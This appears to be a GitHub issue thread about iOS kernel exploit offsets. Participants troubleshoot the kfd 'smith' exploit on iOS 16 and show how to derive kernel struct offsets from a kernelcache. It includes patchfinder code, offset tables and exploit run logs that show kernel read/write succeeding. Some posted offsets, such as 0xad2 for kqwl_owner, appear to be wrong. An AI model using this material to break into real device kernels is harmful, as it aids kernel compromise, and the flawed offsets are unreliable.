Offsets generated, crashes due to offset error

[GenericCoding]

kqworkloop__kqwl_p I think is the crashpoint, tried all page numbers and am using smith (personal device is iphone 13, 16.4.1) though i have talked to other people who tried offsets generated for kfd who also got a crash due to the same offset value.

[Halo-Michael]

It’s written static in the script, offsetexporter didn’t really searching the offset.

[GenericCoding]

@Halo-Michael Hey! How do I get dynamic offsets btw (unrelated)? Also ya I'm not sure then why there is a crash if that offset is correct, it was stacktraced to a call with that offset though.

[moqi2011]

@GenericCoding Looking at the source code, it is not difficult to find that he finds the access point of the structure member through the search string, and then obtains the offset. You can find the offset manually with IDA Pro, it's just slower.

[Lrdsnow]

@moqi2011 Ive tried looking for the offsets manually using binary ninja, hopper and ghidra and cannot find the offsets whatsoever, any tips?

[moqi2011]

@Lrdsnow First find the key string in this source code or in the xnu source code, then search for the string in IDA Pro, jump to the string reference position, and find the assembly code for structure member access.

patchfinder64::offset_t kernelpatchfinder64_iOS16::find_struct_task_offset_thread_count(){
    UNCACHELOC;

    loc_t str = findstr("Panicked task %p: %d threads: ", true);
    debug("str=0x%016llx",str);

    loc_t ref = find_literal_ref(str);
    debug("ref=0x%016llx",ref);

    vmem iter = _vmem->getIter(ref);
    {
        int distance = 0;
        while (--iter != insn::stp)
            distance++;
        retassure(distance < 5, "we went too far!");
    }

    uint8_t countreg = iter().rt2();

    while (--iter != insn::ldr || iter().rt() != countreg)
        ;
    RETCACHELOC(iter().imm());
}

The key string is 'Panicked task %p: %d threads:'

But getting it working on arm64 devices is more challenging than just offsets.

[Lrdsnow]

@Lrdsnow First find the key string in this source code or in the xnu source code, then search for the string in IDA Pro, jump to the string reference position, and find the assembly code for structure member access.

patchfinder64::offset_t kernelpatchfinder64_iOS16::find_struct_task_offset_thread_count(){
    UNCACHELOC;

    loc_t str = findstr("Panicked task %p: %d threads: ", true);
    debug("str=0x%016llx",str);

    loc_t ref = find_literal_ref(str);
    debug("ref=0x%016llx",ref);

    vmem iter = _vmem->getIter(ref);
    {
        int distance = 0;
        while (--iter != insn::stp)
            distance++;
        retassure(distance < 5, "we went too far!");
    }

    uint8_t countreg = iter().rt2();

    while (--iter != insn::ldr || iter().rt() != countreg)
        ;
    RETCACHELOC(iter().imm());
}

The key string is 'Panicked task %p: %d threads:'

But getting it working on arm64 devices is more challenging than just offsets.

How do I find it in the xnu source code, all I can find for iOS is just https://github.com/apple-oss-distributions/distribution-iOS/tree/ios-164 and that's for iOS 16.4

Also I'm trying to work on an iPhone 13 the iPhone X from the other issue was just a random test I decided to do

[moqi2011]

@Lrdsnow If it is iPhone13, then you can directly download ipsw and extract the kernel cache to find these variables through this tool.

xnu source code: https://github.com/apple-oss-distributions/xnu

If you decide to find the offset by yourself, you should first find the reference position of the member variable of the structure through a global search or other means. It is best to have a string reference in this method, then you can easily pass this string Find the corresponding assembly code in IDA Pro.

[moqi2011]

@Lrdsnow Extracting the kernel cache can be done with this tool: https://github.com/blacktop/ipsw

Hope you can let me know if you succeed.

[Lrdsnow]

@moqi2011 Ive already extracted the kernel cache as I've already tried looking for the offsets in it, I just don't know where to look, you said

First find the key string in this source code or in the xnu source code, then search for the string in IDA Pro

so I was asking how to find the key string

[moqi2011]

@Lrdsnow The easiest way is to globally search the member reference position of the structure, such as '->thread_id', and then browse each result to find the method with a string in the context. This process was painful, thanks to these selfless contributors.

You can also find the key string in this source code, and then go to the xnu source code to find the context.

[Lrdsnow]

Sorry if I'm annoying you but I found: 0xfffffff00705a0f4 db "Panicked task %p: %d threads: ", 0 ; DATA XREF=sub_fffffff007f0e72c+3316 How would I apply it to the offsets?

[moqi2011]

Sorry if I'm annoying you but I found: 0xfffffff00705a0f4 db "Panicked task %p: %d threads: ", 0 ; DATA XREF=sub_fffffff007f0e72c+3316 How would I apply it to the offsets?

Then you should jump to the referenced position of this string. At the same time you should also find this string in the xnu source code.

Then you will see in the xnu source:

paniclog_append_noflush("Panicked task %p: %d threads: ",
                task, task->thread_count);

Corresponding the assembly code, you can find the offset of 'thread_count'.

[Lrdsnow]

The referenced position appears to be fffffff007f0f420 add x0, x0, #0xf4 ; 0xfffffff00705a0f4@PAGEOFF, "Panicked task %p: %d threads: "

And where would I find xnu source?

[moqi2011]

The referenced position appears to be fffffff007f0f420 add x0, x0, #0xf4 ; 0xfffffff00705a0f4@PAGEOFF, "Panicked task %p: %d threads: "

And where would I find xnu source?

Search for "Panicked task %p: %d threads: " in 'https://github.com/apple-oss-distributions/xnu'

If you are a novice, this may be futile, because reading assembly code is more difficult.

[Lrdsnow]

So I then x0=task x0=resident and then thread_count=0xf4 and the line in my dynamic_info.h would be .task__threads__next = 0xf4 - 0x28,?

[moqi2011]

So I then x0=task x0=resident and then thread_count=0xf4 and the line in my dynamic_info.h would be .task__threads__next = 0xf4 - 0x28,?

If the 'thread_count' you got is correct, then 'taskthreadsnext' should be correct.

[Halo-Michael]

@moqi2011 Really thanks!

[Lrdsnow]

If a line is likefffffff007083ad2 db "kq(%p) invalid refcount %d @%s:%d", 0 without a reference what do I do?

the corresponding lines in the xnu source are : LIST_FOREACH_SAFE(kqwl, &tofree, kqwl_hashlink, kqwln) { uint32_t ref = os_ref_get_count_raw(&kqwl->kqwl_retains); if (ref != 1) { panic("kq(%p) invalid refcount %d", kqwl, ref); } kqworkloop_dealloc(kqwl, false); }

[moqi2011]

如果一条线就像fffffff007083ad2 db "kq(%p) invalid refcount %d @%s:%d", 0没有参考我该怎么办？

xnu 源中的相应行是：LIST_FOREACH_SAFE(kqwl, &tofree, kqwl_hashlink, kqwln) { uint32_t ref = os_ref_get_count_raw(&kqwl->kqwl_retains); if (ref != 1) { panic("kq(%p) invalid refcount %d", kqwl, ref); } kqworkloop_dealloc(kqwl, false); }

kqwl_owner = 'kqwl_retains' - 'sizeof(kqwl_owner)'

You need to deal with this problem in connection with the actual situation of the structure, because not every member's access point will have a key string, and some member access points do not have a key string and need other members to calculate it.

kqworkloop      bsd/sys/eventvar.h 
proc            bsd/sys/proc_internal.h
task            osfmk/kern/task.h
thread          osfmk/kern/thread.h
uthread           bsd/sys/user.h
vm_map          osfmk/vm/vm_map.h

[Lrdsnow]

That makes sense, Thank you

[moqi2011]

@Lrdsnow When you paste the code, it's better to wrap it in a code block, otherwise it will look difficult. like this: ```cpp code ```

[moqi2011]

@Halo-Michael Hope you can find a working offset and let me know.

[moqi2011]

@GenericCoding The cause of the kernel panic doesn't seem to be an offset issue, you can test the 'puaf_physpuppet' exploit.

[GenericCoding]

@moqi2011 Sadly I'm on 16.4.1 so can't test to confirm

[GenericCoding]

@moqi2011 would it be worth trying to mess with the sleep timer 2 lines b4 line 94 in kfd to try and fix smith

[moqi2011]

@GenericCoding

i got it working using the kern-version branch of kfd @htrowii

Using this branch the exploit was successful.

Sleeping, if there is any progress, I hope you can remind me.

[GenericCoding]

i've tried both @moqi2011

[Lrdsnow]

I'm having the same issue and ive gotten all of the correct kernelcache offsets manually

[P5-2005]

I'm having the same issue and ive gotten all of the correct kernelcache offsets manually

is this helpful?:

p5@P5-2oo5:~/offset$ ./findjboffsets.sh
offsetexporter: liboffsetfinder64 version: 0.143-ab2d635e1cd0c51ae6e7ff1d2bfa2b6af9bdeee7-DEBUG
Init KPF('/home/p5/offset/kernel.dec')
[DEBUG] ignoring segment '__PRELINK_TEXT' with zero size
[DEBUG] ignoring segment '__PRELINK_INFO' with zero size
[DEBUG] ignoring segment '__PLK_TEXT_EXEC' with zero size
[DEBUG] ignoring segment '__PRELINK_DATA' with zero size
[DEBUG] ignoring segment '__PLK_DATA_CONST' with zero size
[DEBUG] ignoring segment '__PLK_LLVM_COV' with zero size
[DEBUG] ignoring segment '__PLK_LINKEDIT' with zero size
[WARNING] We encountered __TEXT_EXEC section, marking normal __TEXT section as non-executable!
Detected non-slid kernel.
Inited machopatchfinder64 143 ab2d635e1cd0c51ae6e7ff1d2bfa2b6af9bdeee7
[DEBUG] kernel_version_number=0xfffffff007c19cc9
Kernel version: 8792.42.7~1
Detected iOS 16 kernel
[DEBUG] kerneluname=0xfffffff007c19c8d
[DEBUG] ref=0xfffffff007e36ac4
[DEBUG] authloc=0xfffffff007e36ac8
[DEBUG] ref=0xfffffff007e39d98
[DEBUG] authloc=0xfffffff007e39d9c
[DEBUG] str=0xfffffff007c55e96
[DEBUG] ref=0xfffffff0081060dc
[DEBUG] bref=0xfffffff008105fc0
[DEBUG] kqworkloop_dealloc=0xfffffff008100ea8
[DEBUG] str=0xfffffff007c55e62
[DEBUG] needle=0x0000000000c51e62
[DEBUG] ref=0xfffffff00a1a1940
[DEBUG] ref=0xfffffff007fde520
[DEBUG] authloc=0xfffffff007fde524
[DEBUG] str=0xfffffff007c1f10d
[DEBUG] ref=0xfffffff007d24a30
[DEBUG] ref=0xfffffff007cb0c6c
[DEBUG] authloc=0xfffffff007cb0c70
[DEBUG] str=0xfffffff007c2ef7e
[DEBUG] ref=0xfffffff007e24494
[DEBUG] ref=0xfffffff007cb83b0
[DEBUG] authloc=0xfffffff007cb83b4
[DEBUG] str=0xfffffff007c1f10d
[DEBUG] ref=0xfffffff007d24a30
[DEBUG] str=0xfffffff007c21f56
[DEBUG] ref=0xfffffff007d5c850
[DEBUG] bof=0xfffffff007d5c684
[DEBUG] hit=0xfffffff007d5c760
[DEBUG] hit=0xfffffff007d5c788
[DEBUG] hot=0xfffffff007d5c7b4
[DEBUG] str=0xfffffff007c1b7bd
[DEBUG] ref=0xfffffff007ce7f14
[DEBUG] bref=0xfffffff007ce7cb4
[DEBUG] str=0xfffffff007c5c55b
[DEBUG] ref=0xfffffff0081721e4
[DEBUG] bof=0xfffffff008171eec
[DEBUG] candidate=0xfffffff0081721c0
[DEBUG] str=0xfffffff0075be0dc
[DEBUG] ref=0x0000000000000000
[DEBUG] ref=0xfffffff007e359e4
[DEBUG] authloc=0xfffffff007e359e8
[DEBUG] ref=0xfffffff007cb20d0
[DEBUG] authloc=0xfffffff007cb20d4
[DEBUG] str=0xfffffff007c23e3a
[DEBUG] ref=0xfffffff007da5a30
[DEBUG] bof=0xfffffff007da5820
[DEBUG] lastLdrLoc=0xfffffff007da5860
[DEBUG] str=0xfffffff00701931c
[DEBUG] ref=0x0000000000000000
[DEBUG] str=0xfffffff007c313c0
[DEBUG] ref=0xfffffff007e31f1c
[DEBUG] bref=0xfffffff007e31d90
[DEBUG] cdevsw_add=0xfffffff008258d28
[DEBUG] candidate=0xfffffff00a0e1150
[DEBUG] str=0xfffffff007c2d59e
[DEBUG] ref=0xfffffff007e186a0
[DEBUG] bref=0xfffffff007e18658
[DEBUG] candidate=0xfffffff0077ab950
[DEBUG] candidate=0xfffffff0077f79d8
[DEBUG] str=0xfffffff007c2d59e
[DEBUG] ref=0xfffffff007e186a0
[DEBUG] bref=0xfffffff007e18658
[DEBUG] str=0xfffffff007c314a6
[DEBUG] ref=0xfffffff007e320a8
[DEBUG] bref=0xfffffff007e31fc4
[DEBUG] str=0xfffffff007c2d59e
[DEBUG] ref=0xfffffff007e186a0
[DEBUG] bof=0xfffffff007e184a0
[DEBUG] str=0xfffffff007c74152
[DEBUG] ref=0xfffffff00832d4a0
[DEBUG] bdst=0xfffffff00832d48c
[DEBUG] bref=0xfffffff00832d1b8
[DEBUG] t1=0xfffffff00832d1c4
[DEBUG] target_block=0xfffffff00832d1d4
[DEBUG] str=0xfffffff007c25a39
[DEBUG] ref=0xfffffff007dd76a0
[DEBUG] block=0xfffffff0077a8ca8
[DEBUG] bfunc=0xfffffff007dd80d8
[DEBUG] str=0xfffffff007c2551d
[DEBUG] ref=0xfffffff007dd6e04
[DEBUG] str=0xfffffff007c2551d
[DEBUG] ref=0xfffffff007dd6e04
[DEBUG] open1=0xfffffff007e6fad4
[DEBUG] hit=0xfffffff007e6fdcc
[DEBUG] vnops=0xfffffff0077def58
[DEBUG] vn_kqfilter=0xfffffff007e84d00
Done writing to file 'gen.h'
p5@P5-2oo5:~/offset$

[GenericCoding]

@P5-2005 did you get a success message running the exploit?

[moqi2011]

@GenericCoding @Lrdsnow I have successfully run it. But in specific version iOS 16.6 beta1. Using the patch provided by @Halo-Michael , the found offset matches the original offset exactly.

._vm_map__hdr__links__prev = %vm_map_entry__links__prev% + 0x10,
._vm_map__hdr__links__next = %vm_map_entry__links__next% + 0x10,
._vm_map__hdr__links__start = %vm_map_entry__links__start% + 0x10,
._vm_map__hdr__links__end = %vm_map_entry__links__end% + 0x10,

If you have extra devices, you can upgrade to iOS 16.6 beta1.

[P5-2005]

@P5-2005 did you get a success message running the exploit?

i dont have devices with such ios-ver for now, i will try to find some

[GenericCoding]

@moqi2011 what phone

[moqi2011]

@GenericCoding I tested successfully on iPhone 12Pro iOS 16.6 beta1. If you test successfully on other devices, I hope you can let me know.

Find different offsets.

import re

def main():
    header1 = open("header1.h").read()
    offset_list1 = re.findall(r"\.(.*?),", header1)

    header2 = open("header2.h").read()
    offset_list2 = re.findall(r"\.(.*?),", header2)

    kv_map = {}
    for offset_line in offset_list1:
        v_ = offset_line.split("=")
        key = v_[0].strip()
        if key == 'kern_version':
            continue
        val = eval(v_[1])
        kv_map[key] = val

    for offset_line in offset_list2:
        v_ = offset_line.split("=")
        key = v_[0].strip()
        if key == 'kern_version':
            continue
        val = eval(v_[1])
        if kv_map.get(key) != val:
            print(offset_line)

if __name__ == '__main__':
    main()

[GenericCoding]

@moqi2011 I'm sorry I'm confused what'a the header1 and header2 files

[moqi2011]

@moqi2011 I'm sorry I'm confused what'a the header1 and header2 files

The offset found by this tool and the offset in the kfd source code. Using the kern-version branch of kfd.

[moqi2011]

@GenericCoding I think the offset needed to exploit this vulnerability is not related to the device model, but only related to the system version and cpu architecture. If you have other models of devices with iOS 16.6 beta1(arm64e), you can verify my guess.

[GenericCoding]

@moqi2011 i have 16.4.1 but I think it should work according to kfd source

[moqi2011]

@GenericCoding No, I have tested it on both 16.5 and 16.2 and 16.1.2 , it didn't work, then I upgraded to 16.6 beta1, and it worked fine.

[Lrdsnow]

@moqi2011 I still cannot get it to work on my iPhone 13 on iOS 16.6b1, I have used the patch and ive verified my kernelcache offsets are correct by comparing them to the iPhone 14 pro's 16.6b1 verified working offsets and still It kernel panics

[moqi2011]

@moqi2011 I still cannot get it to work on my iPhone 13 on iOS 16.6b1, I have used the patch and ive verified my kernelcache offsets are correct by comparing them to the iPhone 14 pro's 16.6b1 verified working offsets and still It kernel panics

@Lrdsnow Paste your offsets and console logs.

[moqi2011]

iPhone14 Pro and iOS 16.6 b1

/*
 * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.
 */

#ifndef dynamic_info_h
#define dynamic_info_h

struct dynamic_info {
    const char* kern_version;
    // struct fileglob
    u64 fileglob__fg_ops;
    u64 fileglob__fg_data;
    // struct fileops
    u64 fileops__fo_kqfilter;
    // struct fileproc
    // u64 fileproc__fp_iocount;
    // u64 fileproc__fp_vflags;
    // u64 fileproc__fp_flags;
    // u64 fileproc__fp_guard_attrs;
    // u64 fileproc__fp_glob;
    // u64 fileproc__fp_guard;
    // u64 fileproc__object_size;
    // struct fileproc_guard
    u64 fileproc_guard__fpg_guard;
    // struct kqworkloop
    u64 kqworkloop__kqwl_state;
    u64 kqworkloop__kqwl_p;
    u64 kqworkloop__kqwl_owner;
    u64 kqworkloop__kqwl_dynamicid;
    u64 kqworkloop__object_size;
    // struct pmap
    u64 pmap__tte;
    u64 pmap__ttep;
    // struct proc
    u64 proc__p_list__le_next;
    u64 proc__p_list__le_prev;
    u64 proc__p_pid;
    u64 proc__p_fd__fd_ofiles;
    u64 proc__object_size;
    // struct pseminfo
    u64 pseminfo__psem_usecount;
    u64 pseminfo__psem_uid;
    u64 pseminfo__psem_gid;
    u64 pseminfo__psem_name;
    u64 pseminfo__psem_semobject;
    // struct psemnode
    // u64 psemnode__pinfo;
    // u64 psemnode__padding;
    // u64 psemnode__object_size;
    // struct semaphore
    u64 semaphore__owner;
    // struct specinfo
    u64 specinfo__si_rdev;
    // struct task
    u64 task__map;
    u64 task__threads__next;
    u64 task__threads__prev;
    u64 task__itk_space;
    u64 task__object_size;
    // struct thread
    u64 thread__task_threads__next;
    u64 thread__task_threads__prev;
    u64 thread__map;
    u64 thread__thread_id;
    u64 thread__object_size;
    // struct uthread
    u64 uthread__object_size;
    // struct vm_map_entry
    u64 vm_map_entry__links__prev;
    u64 vm_map_entry__links__next;
    u64 vm_map_entry__links__start;
    u64 vm_map_entry__links__end;
    u64 vm_map_entry__store__entry__rbe_left;
    u64 vm_map_entry__store__entry__rbe_right;
    u64 vm_map_entry__store__entry__rbe_parent;
    // struct vnode
    u64 vnode__v_un__vu_specinfo;
    // struct _vm_map
    u64 _vm_map__hdr__links__prev;
    u64 _vm_map__hdr__links__next;
    u64 _vm_map__hdr__links__start;
    u64 _vm_map__hdr__links__end;
    u64 _vm_map__hdr__nentries;
    u64 _vm_map__hdr__rb_head_store__rbh_root;
    u64 _vm_map__pmap;
    u64 _vm_map__hint;
    u64 _vm_map__hole_hint;
    u64 _vm_map__holes_list;
    u64 _vm_map__object_size;
    // kernelcache static addresses
    u64 kernelcache__kernel_base;
    u64 kernelcache__cdevsw;
    u64 kernelcache__gPhysBase;
    u64 kernelcache__gPhysSize;
    u64 kernelcache__gVirtBase;
    u64 kernelcache__perfmon_devices;
    u64 kernelcache__perfmon_dev_open;
    u64 kernelcache__ptov_table;
    u64 kernelcache__vm_first_phys_ppnum;
    u64 kernelcache__vm_pages;
    u64 kernelcache__vm_page_array_beginning_addr;
    u64 kernelcache__vm_page_array_ending_addr;
    u64 kernelcache__vn_kqfilter;
};

const struct dynamic_info kern_versions[] = {
    {
        .kern_version = "Darwin Kernel Version 22.6.0: Tue May  9 06:18:35 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8120",
        .fileglob__fg_ops = 0x28,
        .fileglob__fg_data = 0x40 - 8,
        .fileops__fo_kqfilter = 0x30,
        // .fileproc__fp_iocount = 0x0000,
        // .fileproc__fp_vflags = 0x0004,
        // .fileproc__fp_flags = 0x0008,
        // .fileproc__fp_guard_attrs = 0x000a,
        // .fileproc__fp_glob = 0x0010,
        // .fileproc__fp_guard = 0x0018,
        // .fileproc__object_size = 0x0020,
        .fileproc_guard__fpg_guard = 0x8,
        .kqworkloop__kqwl_state = 0x10,
        .kqworkloop__kqwl_p = 0x18,
        .kqworkloop__kqwl_owner = 0xd0,
        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,
        .kqworkloop__object_size = 0x108,
        .pmap__tte = 0x0,
        .pmap__ttep = 0x8,
        .proc__p_list__le_next = 0x0,
        .proc__p_list__le_prev = 0x8,
        .proc__p_pid = 0x60,
        .proc__p_fd__fd_ofiles = 0xf8,
        .proc__object_size = 0x730,
        .pseminfo__psem_usecount = 0x04,
        .pseminfo__psem_uid = 0x0c,
        .pseminfo__psem_gid = 0x10,
        .pseminfo__psem_name = 0x14,
        .pseminfo__psem_semobject = 0x38,
        // .psemnode__pinfo = 0x0000,
        // .psemnode__padding = 0x0008,
        // .psemnode__object_size = 0x0010,
        .semaphore__owner = 0x28,
        .specinfo__si_rdev = 0x18,
        .task__map = 0x28,
        .task__threads__next = 0x80 - 0x28,
        .task__threads__prev = 0x80 - 0x28 + 8,
        .task__itk_space = 0x300,
        .task__object_size = 0x640,
        .thread__task_threads__next = 0x380 - 0x18,
        .thread__task_threads__prev = 0x380 - 0x18 + 8,
        .thread__map = 0x380,
        .thread__thread_id = 0x418,
        .thread__object_size = 0x4c0,
        .uthread__object_size = 0x200,
        .vm_map_entry__links__prev = 0x00,
        .vm_map_entry__links__next = 0x08,
        .vm_map_entry__links__start = 0x10,
        .vm_map_entry__links__end = 0x18,
        .vm_map_entry__store__entry__rbe_left = 0x20,
        .vm_map_entry__store__entry__rbe_right = 0x28,
        .vm_map_entry__store__entry__rbe_parent = 0x30,
        .vnode__v_un__vu_specinfo = 0x78,
        ._vm_map__hdr__links__prev = 0x00 + 0x10,
        ._vm_map__hdr__links__next = 0x08 + 0x10,
        ._vm_map__hdr__links__start = 0x10 + 0x10,
        ._vm_map__hdr__links__end = 0x18 + 0x10,
        ._vm_map__hdr__nentries = 0x30,
        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,
        ._vm_map__pmap = 0x40,
        ._vm_map__hint = 0x90 + 0x08,
        ._vm_map__hole_hint = 0x90 + 0x10,
        ._vm_map__holes_list = 0x90 + 0x18,
        ._vm_map__object_size = 0xc0,
        .kernelcache__kernel_base = 0xfffffff007004000,
        .kernelcache__cdevsw = 0xfffffff00a4c9a30,
        .kernelcache__gPhysBase = 0xfffffff00794c1b8,
        .kernelcache__gPhysSize = 0xfffffff00794c1b8 + 8,
        .kernelcache__gVirtBase = 0xfffffff00794a370,
        .kernelcache__perfmon_devices = 0xfffffff00a509530,
        .kernelcache__perfmon_dev_open = 0xfffffff007f116dc,
        .kernelcache__ptov_table = 0xfffffff0078ff9b8,
        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a508910,
        .kernelcache__vm_pages = 0xfffffff0078fc108,
        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078fe968,
        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a508908,
        .kernelcache__vn_kqfilter = 0xfffffff007f5dbf8,
    },
};

#endif /* dynamic_info_h */

[info_init]: kfd->info.env.pid = 426
[info_init]: kfd->info.env.tid = 9502
[info_init]: kfd->info.env.maxfilesperproc = 10240
[info_init]: kfd->info.env.kern_version = Darwin Kernel Version 22.6.0: Tue May  9 06:18:35 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8120
[info_init]: kfd->info.env.vid = 0
[puaf_init]: method_name = smith
[krkw_init]: method_name = kread_sem_open
[krkw_init]: method_name = kwrite_sem_open
[puaf_helper_give_ppl_pages]: given_ppl_pages = 208
[puaf_helper_give_ppl_pages]: 🟢 0s 2ms 60us
[puaf_run]: 🟢 0s 8ms 42us
[krkw_helper_grab_free_pages]: grabbed_free_pages = 56140
[krkw_helper_grab_free_pages]: 🟢 0s 257ms 975us
[krkw_helper_run_allocate]: 🟢 0s 1ms 250us
[krkw_helper_run_allocate]: kread ---> object_id = 751, object_uaddr = 0x00000003d253c000, object_size = 16, allocated_id = 1024/10140, batch_size = 1024
[0x0000]: ffffffde18f65060 0000000000000000 
[krkw_helper_run_allocate]: 🟢 0s 1ms 299us
[krkw_helper_run_allocate]: kwrite ---> object_id = 279, object_uaddr = 0x00000003d3d30000, object_size = 32, allocated_id = 1536/10140, batch_size = 512
[0x0000]: 0000000000000001 0000000000000001 c7baffdf04fd9928 0000000000000000 
[krkw_helper_run_deallocate]: 🟢 0s 0ms 2us
[krkw_helper_run_deallocate]: 🟢 0s 0ms 266us
[krkw_run]: 🟢 0s 3ms 142us
[info_run]: kfd->info.kaddr.current_proc = ffffffdd367561f0
[info_run]: kfd->info.kaddr.current_task = ffffffdd36756920
[info_run]: kfd->info.kaddr.current_map = ffffffdce6a26140
[info_run]: kfd->info.kaddr.current_pmap = fffffff11c9e5440
[info_run]: kfd->info.kaddr.kernel_proc = ffffffdd337f3cd0
[info_run]: kfd->info.kaddr.kernel_task = ffffffdd337f4400
[info_run]: kfd->info.kaddr.kernel_map = ffffffdc00444580
[info_run]: kfd->info.kaddr.kernel_pmap = fffffff01a0980e8
[info_run]: 🟢 0s 0ms 7us
[smith_helper_cleanup]: old_nentries = 262
[puaf_cleanup]: 🟢 0s 1ms 768us
[kopen]: 🟢 0s 281ms 248us
Message from debugger: failed to send the k packet

[Lrdsnow]

iPhone 13 16.6b1 Offsets:

const struct dynamic_info kern_versions[] = {
    {
        .kern_version = "Darwin Kernel Version 22.6.0: Tue May  9 06:16:18 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8110",
        .fileglob__fg_ops = 0x28,
        .fileglob__fg_data = 0x40 - 8,
        .fileops__fo_kqfilter = 0x30,
        // .fileproc__fp_iocount = 0x0000,
        // .fileproc__fp_vflags = 0x0004,
        // .fileproc__fp_flags = 0x0008,
        // .fileproc__fp_guard_attrs = 0x000a,
        // .fileproc__fp_glob = 0x0010,
        // .fileproc__fp_guard = 0x0018,
        // .fileproc__object_size = 0x0020,
        .fileproc_guard__fpg_guard = 0x8,
        .kqworkloop__kqwl_state = 0x10,
        .kqworkloop__kqwl_p = 0x18,
        .kqworkloop__kqwl_owner = 0xad2,
        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,
        .kqworkloop__object_size = 0x108,
        .pmap__tte = 0x0,
        .pmap__ttep = 0x8,
        .proc__p_list__le_next = 0x0,
        .proc__p_list__le_prev = 0x8,
        .proc__p_pid = 0x60,
        .proc__p_fd__fd_ofiles = 0xf8,
        .proc__object_size = 0xdbf,
        .pseminfo__psem_usecount = 0x04,
        .pseminfo__psem_uid = 0x0c,
        .pseminfo__psem_gid = 0x10,
        .pseminfo__psem_name = 0x14,
        .pseminfo__psem_semobject = 0x38,
        // .psemnode__pinfo = 0x0000,
        // .psemnode__padding = 0x0008,
        // .psemnode__object_size = 0x0010,
        .semaphore__owner = 0x28,
        .specinfo__si_rdev = 0x18,
        .task__map = 0x28,
        .task__threads__next = 0x380 - 0x18,
        .task__threads__prev = 0x80 - 0x28 + 8,
        .task__itk_space = 0x300,
        .task__object_size = 0xdbf,
        .thread__task_threads__next = 0x380 - 0x18,
        .thread__task_threads__prev = 0x380 - 0x18 + 8,
        .thread__map = 0x380,
        .thread__thread_id = 0x418,
        .thread__object_size = 0x5b4,
        .uthread__object_size = 0x5d3,
        .vm_map_entry__links__prev = 0x00,
        .vm_map_entry__links__next = 0x08,
        .vm_map_entry__links__start = 0x10,
        .vm_map_entry__links__end = 0x18,
        .vm_map_entry__store__entry__rbe_left = 0x20,
        .vm_map_entry__store__entry__rbe_right = 0x28,
        .vm_map_entry__store__entry__rbe_parent = 0x30,
        .vnode__v_un__vu_specinfo = 0x78,
        ._vm_map__hdr__links__prev = 0x00 + 0x10,
        ._vm_map__hdr__links__next = 0x08 + 0x10,
        ._vm_map__hdr__links__start = 0x10 + 0x10,
        ._vm_map__hdr__links__end = 0x18 + 0x10,
        ._vm_map__hdr__nentries = 0x30,
        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,
        ._vm_map__pmap = 0x40,
        ._vm_map__hint = 0x90 + 0x08,
        ._vm_map__hole_hint = 0x90 + 0x10,
        ._vm_map__holes_list = 0x90 + 0x18,
        ._vm_map__object_size = 0xc0,
        .kernelcache__kernel_base = 0xfffffff007004000,//good
        .kernelcache__cdevsw = 0xfffffff00a519a30, //good
        .kernelcache__gPhysBase = 0xfffffff0079502a8, //good
        .kernelcache__gPhysSize = 0xfffffff0079502b0, //good
        .kernelcache__gVirtBase = 0xfffffff00794e460, //good
        .kernelcache__perfmon_devices = 0xfffffff00a559550, //good
        .kernelcache__perfmon_dev_open = 0xfffffff007f1db9c, //good
        .kernelcache__ptov_table = 0xfffffff0079039c0, //good
        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a558910, //good
        .kernelcache__vm_pages = 0xfffffff007900110, //good
        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007902970, //good
        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a558908, //good
        .kernelcache__vn_kqfilter = 0xfffffff007f6a0b8, //good
    },
};

sem_open for both kread & kwrite:

[info_init]: kfd->info.env.pid = 395
[info_init]: kfd->info.env.tid = 5477
[info_init]: kfd->info.env.maxfilesperproc = 10240
[info_init]: kfd->info.env.kern_version = Darwin Kernel Version 22.6.0: Tue May  9 06:16:18 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8110
[info_init]: kfd->info.env.vid = 0
[puaf_init]: method_name = smith
[krkw_init]: method_name = kread_sem_open
[krkw_init]: method_name = kwrite_sem_open
[puaf_helper_give_ppl_pages]: given_ppl_pages = 210
[puaf_helper_give_ppl_pages]: 🟢 0s 3ms 349us
[puaf_run]: 🟢 0s 11ms 424us
[krkw_helper_grab_free_pages]: grabbed_free_pages = 7432
[krkw_helper_grab_free_pages]: 🟢 0s 78ms 639us

kqueue & dup:

[info_init]: kfd->info.env.pid = 409
[info_init]: kfd->info.env.tid = 6433
[info_init]: kfd->info.env.maxfilesperproc = 10240
[info_init]: kfd->info.env.kern_version = Darwin Kernel Version 22.6.0: Tue May  9 06:16:18 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8110
[info_init]: kfd->info.env.vid = 0
[puaf_init]: method_name = smith
[krkw_init]: method_name = kread_kqueue_workloop_ctl
[krkw_init]: method_name = kwrite_dup
[puaf_helper_give_ppl_pages]: given_ppl_pages = 209
[puaf_helper_give_ppl_pages]: 🟢 0s 3ms 571us
[puaf_run]: 🟢 0s 11ms 500us
[krkw_helper_grab_free_pages]: grabbed_free_pages = 1020
[krkw_helper_grab_free_pages]: 🟢 0s 15ms 526us
[krkw_helper_run_allocate]: 🟢 0s 3ms 825us
[krkw_helper_run_allocate]: kread ---> object_id = 64, object_uaddr = 0x00000003d2a28010, object_size = 264, allocated_id = 124/100000, batch_size = 62
[0x0000]: 0000000000000000 0000000000000011 00000000000008a0 ffffffe1b9273290 0000000000000000 0000000000000000 ffffffe384c54038 0000000000000000
[0x0040]: ffffffe384c54048 0000000000000000 ffffffe384c54058 0000000000000000 ffffffe384c54068 0000000000000000 ffffffe384c54078 0000000000000000
[0x0080]: ffffffe384c54088 0000000000000000 ffffffe384c54098 0000000000000000 0000000000000000 0000000000000000 00000000001a0000 fffffffffffffffd
[0x00c0]: 0000000000000000 0000000000000011 0000000000000000 0000030000000001 0000000000000000 11223344556677c8 0000000000010001 ffffffe384e68118
[0x0100]: ffffffe384c56208 
[krkw_helper_run_allocate]: 🟢 0s 0ms 980us
